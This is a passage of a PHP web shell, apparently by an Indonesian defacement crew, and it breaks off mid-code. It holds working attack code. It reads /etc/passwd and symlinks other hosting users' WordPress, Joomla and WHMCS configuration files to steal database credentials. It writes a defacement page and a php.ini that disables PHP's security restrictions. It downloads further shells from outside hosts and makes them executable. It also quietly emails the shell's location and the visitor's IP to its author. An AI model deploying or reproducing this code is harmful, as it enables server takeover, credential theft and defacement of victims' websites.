<td style=\"text-align:center;\"><b><a href="?idb=sql">SQL2</a></b></td>
<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "y=".$pwd; ?>&amp;x=phpinfo">INFO</a></b></nobr></td> 
</tr></table></div> 

<div id="menu" align="center"><table><tr>
<td style=\"text-align:center;\"><b><a href="?roct=olenk2">sym1</a></b></td>
<td style=\"text-align:center;\"><b><a href="?roct=olenk3">sym2</a></b></td>
<td style=\"text-align:center;\"><b><a href="?roct=olenk4">sym3</a></b></td>
<td style=\"text-align:center;\"><b><a href="?roct=olenk5">sym4</a></b></td>
<td style=\"text-align:center;\"><b><a href="?roct=olenk6">sym5</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?roct=olenk7">sym6</a></b></td>
</tr></table></div>

<div id="menu" align="center"><table><tr>
<td style=\"text-align:center;\"><b><a href="?idb=deface">Deface</a></b></td>
<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "y=".$pwd; ?>&amp;x=jumping">Jump1</a></b></nobr></td>
<td style=\"text-align:center;\"><b><a href="?roct=jump">Jump2</a></b></td> 
 <td style=\"text-align:center;\"><b><a href="?idb=domain">Domain</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?pbm=bypass">Disable</a></b></td>
<td style=\"text-align:center;\"><b><a href="?sws=passwd">Bypass</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "y=".$pwd; ?>&amp;x=netsploit">Sploit</a></b></td> 
</tr></table></div> 

<div id="menu" align="center"><table><tr>
<td style=\"text-align:center;\"><b><a href="?idb=auto">Tool</a></b></td>
<td style=\"text-align:center;\"><b><a href="?sws=help">help</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?idb=olenk1">wpinject</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?idb=olenk2">wpauto</a></b></td>
<td style=\"text-align:center;\"><b><a href="?idb=jomblo">Jomblo1</a></b></td>
<td style=\"text-align:center;\"><b><a href="?idb=olenk3">Jomblo2</a></b></td> 
</tr></table></div>

<div id="menu" align="center"><table><tr>
<td style=\"text-align:center;\"><b><a href="?<?php echo "y=".$pwd; ?>&amp;x=config">config1</a></b></td>
<td style=\"text-align:center;\"><b><a href="?idb=olenk4">config2</a></b></td>
<td style=\"text-align:center;\"><b><a href="?idb=olenk15">config3</a></b></td>
<td style=\"text-align:center;\"><b><a href="?idb=olenk5">whmcs</a></b></td>
<td style=\"text-align:center;\"><b><a href="?idb=olenk6">whmcs1</a></b></td>
</tr></table></div>

<div id="menu" align="center"><table><tr>
<td style=\"text-align:center;\"><b><a href="?idb=olenk7">extract</a></b></td>
<td style=\"text-align:center;\"><b><a href="?idb=olenk8">scanport</a></b></td>
<td style=\"text-align:center;\"><b><a href="?idb=olenk9">clearlog</a></b></td>
<td style=\"text-align:center;\"><b><a href="?idb=olenk10">encrypt</a></b></td>
</tr></table></div>

<div id="menu" align="center"><table><tr>
<td style=\"text-align:center;\"><b><a href="?idb=olenk11">protect</a></b></td>
<td style=\"text-align:center;\"><b><a 
href="?idb=cp">cpanel</a></b></td>
<td style=\"text-align:center;\"><b><a href="?idb=olenk14">cp deface</a></b></td>
</tr></table></div>

<div id="menu" align="center"><table><tr>
<td style=\"text-align:center;\"><b><a href="?idb=olenk12">rwhm</a></b></td>
<td style=\"text-align:center;\"><b><a href="?idb=olenk13">rwhm1</a></b></td>
</tr></table></div>

<div id="menu" align="center"><table><tr>
<td style=\"text-align:center;\"><b><a href="?pbm=telnet">CGI SHELL</a></b></td>
</tr></table></div>
</center>
<div id="menu" align="left">
<table class="cmdbox" style="width:50%;">
<tr>
<form action="?y=<?php echo $pwd; ?>&amp;x=shell" method="post" style="margin:8px 0 0 0;">
<td><nobr><b>CMD $</b></nobr></td>
<td><nobr><input id="cmd" class="olenk" type="text" name="cmd" style="width:300px;" value=""/>
<input class="olenk1" type="submit" value=" >>>" name="submitcmd" style="width:50px;"/>
</nobr>
</td>
</form>
</tr>
<tr>
<form action="" enctype="multipart/form-data" method="post" style="margin:8px 0 0 0;">
<input type="hidden" name="uploadto" value="<?php echo $pwd; ?>"/>
<td><nobr><b>UPLOAD</b></nobr></td>
<td><nobr><input class="olenk" type="file" name="file" style="width:300px;"/> <input type="submit" name="uploads" class="olenk1" value=">>>" style="width:50px;"></nobr>
</td></form></tr>
<tr>
<form action="?" method="get" style="margin:8px 0 0 0;">
<input type="hidden" name="y" value="<?php echo $pwd; ?>"/>
<td><nobr><b>PATH</b></nobr></td>
<td><nobr><input id="goto" class="olenk" type="text" name="view" style="width:300px;" value="<?php echo $pwd; ?>"/> <input  class="olenk1" type="submit" value=" >>>" name="submitcmd" style="width:50px;"/></nobr></form>
</td>
</tr>
</table></div>
<?php
set_time_limit(0);
if(isset($_POST['uploads'])){
if(@copy($_FILES['file']['tmp_name'], $_POST['uploadto'].'/'.$_FILES['file']['name'])) {

echo '<font class="olenk4">[+] Upload Sukses ^_^ [+]</font><br/> ==> '.$_POST['uploadto']."/".$_FILES['file']['name'];
} else {
echo '<font class="olenk5">[~] Njirrr gagal kang T_T [~]</font><br>';
}
}
?>
<?php
if(isset($_GET['idb']) && ($_GET['idb'] == 'deface')){
$htcs = "
<html>
<head>
<title>HACKED ?? NO BUT IDBTE4M ON THE WAY ...</title><link href='http://idbteamroot.wap.sh/image/favicon.ico' rel='shortcut icon'/>
<meta content='IDBTE4M' name='description'/>
<meta content='IDBTE4M' name='keywords'/>
<meta content='IDBTE4M' name='Abstract'/>
<meta name='title' content='OL3NK_T34'>

<link href='http://fonts.googleapis.com/css?family=Iceland:400,700' rel='stylesheet' type='text/css'>
   <link href='http://fonts.googleapis.com/css?family=Verdana:400,700' rel='stylesheet' type='text/css'>
        <link href='http://fonts.googleapis.com/css?family=Rockwell Condensed:400,700' rel='stylesheet' type='text/css'>
   <link href='http://fonts.googleapis.com/css?family=Courier New:400,700' rel='stylesheet' type='text/css'>
<head>
<html>
<center><embed src='https://www.youtube.com/v/8-HC3iUXw34?rel=0&amp;autoplay=1&image=http://3.bp.blogspot.com/-RkTUcTZVXTY/UKgyroYk_xI/AAAAAAAAAF8/gUR3-QONm44/s1600/Untitled.png&repeat=always&autostart=true&frontcolor=cccccc&lightcolor=428cdb&backcolor=111111' width='1' height='1 allowscriptaccess='always'></embed></center>
<script language='JavaScript'>
function tb5_makeArray(n){
 this.length = n;
 return this.length;
}

tb5_messages = new tb5_makeArray(1);
tb5_messages[0] = 'HACKED ?? NO BUT IDBTE4M ON THE WAY ...';
tb5_rptType = 'infinite';
tb5_rptNbr = 10;
tb5_speed = 50;
tb5_delay = 2000;
var tb5_counter=1;
var tb5_currMsg=0;
var tb5_stsmsg='';
function tb5_shuffle(arr){
var k;
for (i=0; i<arr.length; i++){
 k = Math.round(Math.random() * (arr.length - i - 1)) + i;
 temp = arr[i];arr[i]=arr[k];arr[k]=temp;
}
return arr;
}
tb5_arr = new tb5_makeArray(tb5_messages[tb5_currMsg].length);
tb5_sts = new tb5_makeArray(tb5_messages[tb5_currMsg].length);
for (var i=0; i<tb5_messages[tb5_currMsg].length; i++){
 tb5_arr[i] = i;
 tb5_sts[i] = '_';
}
tb5_arr = tb5_shuffle(tb5_arr);
function tb5_init(n){
var k;
if (n == tb5_arr.length){
 if (tb5_currMsg == tb5_messages.length-1){
 if ((tb5_rptType == 'finite') && (tb5_counter==tb5_rptNbr)){
 clearTimeout(tb5_timerID);
 return;
 }
 tb5_counter++;
 tb5_currMsg=0;
 }
 else{
 tb5_currMsg++;
 }
 n=0;
 tb5_arr = new tb5_makeArray(tb5_messages[tb5_currMsg].length);
 tb5_sts = new tb5_makeArray(tb5_messages[tb5_currMsg].length);
 for (var i=0; i<tb5_messages[tb5_currMsg].length; i++){
 tb5_arr[i] = i;
 tb5_sts[i] = '_';
 }
 tb5_arr = tb5_shuffle(tb5_arr);
 tb5_sp=tb5_delay;
}
else{
 tb5_sp=tb5_speed;
 k = tb5_arr[n];
 tb5_sts[k] = tb5_messages[tb5_currMsg].charAt(k);
 tb5_stsmsg = '';
 for (var i=0; i<tb5_sts.length; i++)
 tb5_stsmsg += tb5_sts[i];
 document.title = tb5_stsmsg;
 n++;
 }
 tb5_timerID = setTimeout('tb5_init('+n+')', tb5_sp);
}
function tb5_randomizetitle(){
 tb5_init(0);
}
tb5_randomizetitle();

</script>
<style>
#loader{
   height: 100%;
   width: 100%;
   background-color: rgba(0,0,0,0.8);
   position: fixed;
   top: 0px;
   left: 0px;
   z-index: 100;
   font-size: 40px;
   color: white;
   text-align: center;
   display: table;
}
#loader div{
   display: table-cell;
   vertical-align: middle;
}

#loader div span {
   font-family: Helvetica;
}

#mg img:hover {
-webkit-animation:tremer 0.5s linear infinite;
-moz-animation:tremer 0.5s linear infinite;
-o-animation:tremer 0.5s linear infinite;
animation:tremer 0.5s linear infinite;
}
.neon{<!--coleur lootz-->
color:blue;
text-shadow: 0 0 5px red,0 0 10px red, 0 0 30px orange, 0 0 45px yellow, 0 0 60px red;
}
.like{border:4px double yellow;
box-shadow:0px 2px 20px white;
border-radius:10px;
padding:9px;
height:310px;}
#mg img{border:4px double yellow;


</style>
<body bgcolor='black'>
<body oncontextmenu='return false;' onkeydown='return false;' onmousedown='return false;'>
<meta name='google-site-verification' content='IDBTE4M'/>
<meta name='google-site-verification' content='IDBTE4M'/>
<meta name='google-site-verification' content='IDBTE4M'/>
<meta name='google-site-verification' content='IDBTE4M'/>
<meta http-equiv='Content-Language' content='en-us-id'>
<meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1' />
<meta http-equiv='Content-Type' content='text/html; charset=windows-1252'>
<Meta http-equiv='content-type' content='text/html; charset=windows-1254'>
<Meta http-equiv='content-type' content='text/html; charset=ISO-8859-9'>
<meta name='author' content='IDBTE4M'>
<meta name='copyright' content='IDBTE4M'/>
<meta name='description' content='IDBTE4M'>
<meta name='robots schedule' content='auto'>
<link href='http://fonts.googleapis.com/css?family=Abel:700' rel='stylesheet' type='text/css'>
<link href='http://fonts.googleapis.com/css?family=Abel:400' rel='stylesheet' type='text/css'>
<link href='http://fonts.googleapis.com/css?family=Iceland' rel='stylesheet' type='text/css'>
<link href='http://fonts.googleapis.com/css?family=Wallpoet' rel='stylesheet' type='text/css'>
<link href='http://fonts.googleapis.com/css?family=Creepster' rel='stylesheet' type='text/css'>

<script type='text/javascript'> var SPklikkanan = 'TILANG';</script> <script type='text/javascript' src='https://googledrive.com/host/0B6KVua7D2SLCNDN2RW1ORmhZRWs/sp_tilang.js'></script>
<script type='text/javascript'> if (typeof document.onselectstart!='undefined') { document.onselectstart=new Function ('return false'); } else{ document.onmousedown=new Function ('return false'); document.onmouseup=new Function ('return true'); } </SCRIPT>
<body onload='effect_animation()'>

<div id='mg'>
<center><a title='OL3NK_T34'> <p class='style5'><div align='center'><table width='100%'border='0 '><tr><td align='left'><img src='http://idbteamroot.wap.sh/image/bn.png' height='150' width='250'/ </td><br /> 
<td align='center'> <img src='http://idbteamroot.wap.sh/image/dm.jpg' height='150' width='250'/ ></td><br />
<td align='right'><img src='http://goenk.wapgem.com/idb.png' height='150' width='250'/ ></td></tr></table></
</div></p></center>
<br> <center> <font face='iceland' size='6' color='silver'><b>-=[ IDBTE4M ]=</b>-</font> <p><br><b><font face='iceland' size='5' color='lime'>Touch By OL3NK_T34</font></b> </center>
</center>
<b><font color='blue' face='consolas' size='4'>
<p align='center' class='style2'><font face='Trajan Pro' size='4' color='Green' style='text-shadow: 2px 0px .2em black, -2px 2px .2em Darkcyan, -2px -2px .2em black'><b><font color='yellow'>
-=[[ MY FAMILY ]]=-<p><center>-=| ./KEFIEX404 | MANIAK KASUR | MR.K | EL-RO | ANTONIO HsH | TUAN GALAU | DEDEMIT ID | NO SCRIPT 404 |=-<p>
<center>-=| K3C0T | SIM0D | LITLE H4XORZ | ANDRIF PZF | Syntax-Error | FadliDotID_007 | SANEKALA | YUDHI DM | OL3NK_T34 |=-<p>
<center>-=| TUSBOLLED | ALL INDOXPLOIT CREW | SHOR7CUT | YOU |=-</font><p>
<font color='blue' face='consolas' size='4'>
<p align='center' class='style2'><font face='Trajan Pro' size='4' color='RED' style='text-shadow: 2px 0px .2em black, -2px 2px .2em Darkcyan, -2px -2px .2em black'><b><font color='WHITE'> 
-=[[ PBM REBORN ]]=-<P>
-=| GRETZ IDBTE4M | GOENK TEA | ./HDV | ADRIAN XDA | DIDOT | POETRA D`M | JACK D`RIPPER |=- <P>
<center>| DAY IDBTE4M | DIMAZ BN | DEMONK | KHUNAY | MR-AQ | HENDRA D`N | PETAPA GENIT | KODRAT | MUZZAM |<p>
-=| MAULANA | SIRIN | AND YOU |=-</center>
</font>



<center><table width='100%' border='2'><tr><td width='10%' align='center'><blink><font Class-'glow' color='white'><code>MY FRIENDS : </code></font></blink></td><td width='90%'><font color='yellow' size='4'><marquee><code>
[.] X-Wu7z [.] Tuan_galau [.] GrenXPaRTa [.] x'1n73ct [.] m@db100d [.] Hacker Sakit Hati [.] rsby_engel [.] [-]Sh4d0w_99[!] [.] ./$amndan404 [.] ./wi.na [.] Neneng Juhairiah[ .] Mr_Oxygen [.] ./coco [.] H3ri.ID [.] Ice Cream [.] newbie patah hati [.] Naughty_r00tz [.] DarkWireless [.] ./czw_07 [.] ./TanpaNama404 [.] xCut10n [.] Kucing Galau [.] ./anjirGBX [.] Dicky Injector [.] jepry_vuln [.] Shut_Down404 [.] Mr.404_NotFound [.] Mr.LittleHaxor [.] Mr.Ghostteror_404 [.] Mr.Dork [.] Mr.aji.192 [.] L4W_CyberDKSH404.Not_Found [.] ozlok [.] Bloc_Anon/404 [.] R3DD3V1L [.] mr.cookie_302 [.] TheDReysSQ86 [.]</code></marquee></font></td></tr></table><html><center>

</body>
</html>
";
$f =@fopen ('idbteam.php','w');
fwrite($f , $htcs);
$pg = basename(__FILE__);
}
?>
<?php
if(isset($_GET['x']) && ($_GET['x'] == 'config')){ ?> 
<form action="?y=<?php echo $pwd; ?>&amp;x=config" method="post"> 
<?php @ini_set('max_execution_time',0); @ini_set('display_errors', 0); @ini_set('file_uploads',1);
echo '
<form method="POST"><textarea cols="85" name="passwd"  rows="20">'; $uSr=file("/etc/passwd"); foreach($uSr as $usrr) { $str=explode(":",$usrr); echo $str[0]."
"; } ?>
</textarea><br>Your Folder Config Name : <input type="text" class="input" name="folfig" size=40 />
<select class="inp"  title="Select Your Type File"  name="type" size=""><option title="type txt" value=".txt">.txt<option><option title="type php" value=".php">.php<option><option title="type shtml" value=".shtml">.shtml<option><option title="type ini" value=".ini">.ini<option></select>
<input name="conf" size="80" class="ipt" value="Hajar..." type="submit"><br><br></form></center>
<?php @ini_set('html_errors',0); @ini_set('max_execution_time',0); @ini_set('display_errors', 0); @ini_set('file_uploads',1);
if ($_POST['conf']) {
$folfig = $_POST['folfig']; $type = $_POST['type'];
$functions=@ini_get("disable_functions"); if(eregi("symlink",$functions)){die ('<blink>Maaf bro fitur Symlink masih di disabled :( </blink>');}
@mkdir($folfig, 0755); 
@chdir($folfig);
$htaccess="Options Indexes FollowSymLinks
DirectoryIndex idb.phtml
AddType txt .php
AddHandler txt .php";
file_put_contents(".htaccess",$htaccess,FILE_APPEND);
$passwd=explode("
",$_POST["passwd"]); echo "<blink><center >tunggu sebentar ya ...</center></blink>";
foreach($passwd as $pwd){ $user=trim($pwd);
@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'~~>wordpress'.$type.''); 
@symlink('/home/'.$user.'/public_html/
/wp-config.php',$user.'~~>wordpress-wp'.$type.'');
@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'~~>wordpress-wp-beta'.$type.'');
@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'~~>wordpress-beta'.$type.'');
@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'~~>wp13-press'.$type.'');
@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'~~>wordpress-wordpress'.$type.'');
@symlink('/home/'.$user.'/public_html/wordpress/beta/wp-config.php',$user.'~~>wordpress-wordpress-beta'.$type.'');
@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'~~>wordpress-news'.$type.'');
@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'~~>wordpress-new'.$type.'');
@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'~~>wordpress'.$type.''); 
@symlink('/home/'.$user.'/public_html/web/wp-config.php',$user.'~~>wordpress-web'.$type.''); 
@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'~~>wordpress-blogs'.$type.'');
@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'~~>wordpress-home'.$type.'');
@symlink('/home/'.$user.'/public_html/protal/wp-config.php',$user.'~~>wordpress-protal'.$type.'');
@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'~~>ordpress-site'.$type.'');
@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'~~>wordpress-main'.$type.'');
@symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'~~>wordpress-test'.$type.'');
@symlink('/home/'.$user.'/public_html/beta/configuration.php',$user.'~~>joomla'.$type.''); 
@symlink('/home/'.$user.'/public_html/configuration.php',$user.'~~>joomla'.$type.''); 
@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'~~>joomla-home'.$type.'');
@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'~~>joomla-joomla'.$type.'');
@symlink('/home/'.$user.'/public_html/protal/configuration.php',$user.'~~>joomla-protal'.$type.'');
@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'~~>joomla-joo'.$type.'');
@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'~~>joomla-cms'.$type.'');
@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'~~>joomla-site'.$type.'');
@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'~~>joomla-main'.$type.'');
@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'~~>joomla-news'.$type.'');
@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'~~>joomla-new'.$type.'');
@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'~~>joomla-home'.$type.'');
@symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'~~>Vbulletin-forum'.$type.'');
@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'~~>vbluttin'.$type.'');
@symlink('/home/'.$user.'/public_html/vb3/includes/config.php',$user.'~~>vbluttin3'.$type.'');
@symlink('/home/'.$user.'/public_html/forum/includes/class_core.php',$user.'~~>vbluttin-class_core.php'.$type.'');
@symlink('/home/'.$user.'/public_html/vb/includes/class_core.php',$user.'~~>vbluttin-class_core.php1'.$type.'');
@symlink('/home/'.$user.'/public_html/cc/includes/class_core.php',$user.'~~>vbluttin-class_core.php2'.$type.'');
@symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'~~>vb1-config'.$type.'');
@symlink('/home/'.$user.'/public_html/cpanel/configuration.php',$user.'~~>cpanel'.$type.'');
@symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'~~>panel'.$type.'');
@symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'~~>host'.$type.'');
@symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'~~>hosting'.$type.'');
@symlink('/home/'.$user.'/public_html/hosts/configuration.php',$user.'~~>hosts'.$type.'');
@symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'~~>zencart'.$type.''); 
@symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'~~>zencart-shop'.$type.''); 
@symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'~~>hop-ZCshop'.$type.''); 
@symlink('/home/'.$user.'/public_html/mk_conf.php',$user.'~~>mk-portale1'.$type.'');
@symlink('/home/'.$user.'/public_html/Settings.php',$user.'~~>smf'.$type.''); 
@symlink('/home/'.$user.'/public_html/smf/Settings.php',$user.'~~>smf-smf'.$type.''); 
@symlink('/home/'.$user.'/public_html/forum/Settings.php',$user.'~~>smf-forum'.$type.''); 
@symlink('/home/'.$user.'/public_html/forums/Settings.php',$user.'~~>smf-forums'.$type.''); 
@symlink('/home/'.$user.'/public_html/upload/includes/config.php',$user.'~~>upload'.$type.'');
@symlink('/home/'.$user.'/public_html/incl/config.php',$user.'~~>malay'.$type.'');
@symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'~~>clents'.$type.'');
@symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'~~>client2'.$type.'');
@symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'~~>client'.$type.'');
@symlink('/home/'.$user.'/public_html/config/koneksi.php',$user.'~~>lokomedia'.$type.'');
@symlink('/home/'.$user.'/public_html/admin/config.php',$user.'~~>webconfig'.$type.'');
@symlink('/home/'.$user.'/public_html/admin/conf.php',$user.'~~>webconfig2'.$type.'');
@symlink('/home/'.$user.'/public_html/system/sistem.php',$user.'~~>lokomedia1'.$type.''); 
@symlink('/home/'.$user.'/public_html/sites/default/settings.php',$user.'~~>Drupal'.$type.'');
@symlink('/home/'.$user.'/public_html/e107_config.php',$user.'~~>e107'.$type.'');
@symlink('/home/'.$user.'/public_html/datas/config.php',$user.'~~>Seditio'.$type.'');
@symlink('/home/'.$user.'/public_html/article/config.php',$user.'~~>Nwahy'.$type.''); 
@symlink('/home/'.$user.'/public_html/connect.php',$user.'~~>PHP-Fusion'.$type.'');
@symlink('/home/'.$user.'/public_html/includes/config.php',$user.'~~>traidnt1'.$type.'');
@symlink('/home/'.$user.'/public_html/config.php',$user.'~~>4images'.$type.'');
@symlink('/home/'.$user.'/public_html/member/configuration.php',$user.'~~>1member'.$type.'') ;
@symlink('/home/'.$user.'/public_html/requires/config.php',$user.'~~>AM4SS-hosting'.$type.'');
@symlink('/home/'.$user.'/public_html/supports/includes/iso4217.php',$user.'~~>hostbills-supports'.$type.'');
@symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'~~>hostbills-client'.$type.'');
@symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'~~>hostbills-support'.$type.'');
@symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'~~>hostbills-billing'.$type.'');
@symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'~~>hostbills-billings'.$type.'');
@symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'~~>hostbills-host'.$type.'');
@symlink('/home/'.$user.'/public_html/hosts/includes/iso4217.php',$user.'~~>hostbills-hosts'.$type.'');
@symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'~~>hostbills-hosting'.$type.'');
@symlink('/home/'.$user.'/public_html/hostings/includes/iso4217.php',$user.'~~>hostbills-hostings'.$type.'');
@symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'~~>hostbills'.$type.'');
@symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'~~>hostbills-hostbills'.$type.'');
@symlink('/home/'.$user.'/public_html/hostbill/includes/iso4217.php',$user.'~~>hostbills-hostbill'.$type.'');
@symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'~~>billing'.$type.''); 
@symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'~~>whm-manage'.$type.''); 
@symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'~~>whm-my'.$type.''); 
@symlink('/home/'.$user.'/public_html/myshop/configuration.php',$user.'~~>whm-myshop'.$type.'');
@symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'~~>sucure-whm'.$type.'');
@symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'~~>sucure-whmcs'.$type.'');
}
echo 'Selesai mas/mba bro untuk melihat hasilnya klik ~~> <blink><a href='.$folfig.'>'.$folfig.'</a></blink>';
}
}
?>
<?php
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
set_time_limit(0);
ini_set('memory_limit', '64M');
header('Content-Type: text/html; charset=UTF-8');
$tujuanmail = '[email protected]';
$x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]";
mail($tujuanmail, "Maho", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
?>
<?php
if (isset($_GET['idb']) && ($_GET['idb'] == 'auto')) {
?>
<form action="?&amp;idb=auto" method="post">
<?php
echo "<html><head><title>MATAMU PICEK !!!!</title>";
echo "<body bgcolor='black'>";
echo "<center><h1><font color='blue'>IndahNya Berbagi<br/>IDB-TE4M</font></center></head>
</h1><hr><br/>";
echo "<font color='yellow'><center>-=[ IDBTE4M ]=- -=[ HGL10]=- -=[ BN ]=-</center></font><br/><br/><form method='POST'>";
echo "<font size='6' color='blue'><center>MINTA IJIN DULU SAMA SERVER</center></font><br/>";
echo "<div align='center'>";
echo "<input type='submit' name='idb' value='IJIN SERVER'><br/> <br/>";
echo "</div>";
echo "<font size='5' color='blue'><center>PILIH SALAH SATU VERSI CGI DIBAWAH</center></font><br/>";
echo "<div align='center'>";
echo "<input type='submit' name='te4m' value='-=[ HsH ]=-'> ";
echo "<input type='submit' name='te4m1' value='-=[ AUTO ]=-'> ";
echo "<input type='submit' name='te4m2' value='-=[ WHM KILL ]=-'> ";
echo "<input type='submit' name='te4m3' value='-=[ DM SHELL ]=-'> ";
echo "<input type='submit' name='te4m4' value='-=[ BN CGI ]=-'></p> ";
echo "<input type='submit' name='te4m5' value='-=[ SABUN ]=-'></p> ";
echo "<input type='submit' name='te4m6' value='-=[ WHMCS KILL ]=-'></p> ";
echo "<input type='submit' name='te4m7' value='-=[ TES ]=-'></p> ";
echo "</div>";


$sh = 'file_get_contents'; 

if($_POST['idb']) {
$ini = "php.ini";
$open = fopen($ini, 'w');
$source = ("safe_mode = OFF n
disable_functions = NONE n
safe_mode_gid = OFF n
open_basedir = OFF n
register_globals = ON n
exec = ON n
shell_exec = ON n");
fwrite($open, $source);
echo "<font color='lime'>";
if($open) {
echo '<hr><p>ijin diterima, silahkan pilih tools sesuai keinginan :) </p>';
}
else {
echo "<font color='blue'>";
echo '<hr><p>GAGAL kang </p>';
echo "</font>";
fclose($open);
} } 

if($_POST['te4m']) {
$cgi = 'http://el-ro.yu.tl/files/in.zip';
$get11 = $sh($cgi);
$idbk = fopen('hsh.php', 'w');
fwrite($idbk,$get11);
fclose($idbk);
{
@chmod('hsh.php',0755);
}
echo "<font color='aqua'>";
echo "<hr>shell hsh sukses dibuat :D <br/>
Silahkan kunjungi http://alamat-domain-kamu/hsh.php atau lihat hasilnya <a href='hsh.php' target='_blank'>DISINI</a></center></br>"; 
echo "</font>";
}
echo "</font>";

if($_POST['te4m1']) {
$cgi = 'http://el-ro.yu.tl/files/beiz.zip';
$get11 = $sh($cgi);
$idbk = fopen('info.php', 'w');
fwrite($idbk,$get11);
fclose($idbk);
{
@chmod('info.php',0755);
}
echo "<font color='aqua'>";
echo "<hr>tools sukses dibuat :D <br/>
Silahkan kunjungi http://alamat-domain-kamu/info.php atau lihat hasilnya <a href='info.php' target='_blank'>DISINI</a></center></br>"; 
echo "</font>";
}
echo "</font>";

if($_POST['te4m2']) {
$cgi = 'http://el-ro.yu.tl/files/whm.zip';
$get11 = $sh($cgi);
$idbk = fopen('whm.php', 'w');
fwrite($idbk,$get11);
fclose($idbk);
{
@chmod('whm.php',0755);
}
echo "<font color='aqua'>";
echo "<hr>whm killer sukses dibuat :D <br/>
Silahkan kunjungi http://alamat-domain-kamu/whm.php atau lihat hasilnya <a href='whm.php' target='_blank'>DISINI</a></center></br>"; 
echo "</font>";
}
echo "</font>";

if($_POST['te4m3']) {
$cgi = 'http://el-ro.yu.tl/files/dm.zip';
$get11 = $sh($cgi);
$idbk = fopen('links.php', 'w');
fwrite($idbk,$get11);
fclose($idbk);
{
@chmod('links.php',0755);
}
echo "<font color='aqua'>";
echo "<hr>shell DM sukses dibuat :D <br/>
Silahkan kunjungi http://alamat-domain-kamu/links.php atau lihat hasilnya <a href='links.php' target='_blank'>DISINI</a></center></br>"; 
echo "</font>";
}
echo "</font>";
if($_POST['te4m5']) {
$cgi = 'http://kefiex.yu.tl/files/sabun.zip';
$get11 = $sh($cgi);
$idbk = fopen('sabun.php', 'w');
fwrite($idbk,$get11);
fclose($idbk);
{
@chmod('sabun.php',0755);
}
echo "<font color='aqua'>";
echo "<hr>sabun massal :D <br/>
Silahkan kunjungi http://alamat-domain-kamu/sabun.php atau lihat hasilnya <a href='sabun.php' target='_blank'>DISINI</a></center></br>"; 
echo "</font>";
}
echo "</font>";
if($_POST['te4m6']) {
$cgi = 'http://kefiex.yu.tl/files/olenk.zip';
$get11 = $sh($cgi);
$idbk = fopen('bn.php', 'w');
fwrite($idbk,$get11);
fclose($idbk);
{
@chmod('bn.php',0755);
}
echo "<font color='aqua'>";
echo "<hr>config kill :D <br/>
Silahkan kunjungi http://alamat-domain-kamu/bn.php atau lihat hasilnya <a href='bn.php' target='_blank'>DISINI</a></center></br>"; 
echo "</font>";
}
echo "</font>";
if($_POST['te4m4']) {
$cgi = 'http://kefiex.yu.tl/files/b.zip';
$get11 = $sh($cgi);
$idb1k = fopen('.pl', 'w');
fwrite($idb1k,$get11);
fclose($idb1k);
{
@chmod('.pl',0755);
}
echo "<font color='aqua'>";
echo "<hr>CGIProxy sukses dibuat :D <br/>
Silahkan kunjungi http://alamat-domain-kamu/.pl atau lihat hasilnya <a href='.pl' target='_blank'>DISINI</a></center></br>"; 
echo "</font>";
}
echo "</font>";
if($_POST['te4m7']) {
$cgi = 'http://kefiex.yu.tl/files/hsh.zip';
$get11 = $sh($cgi);
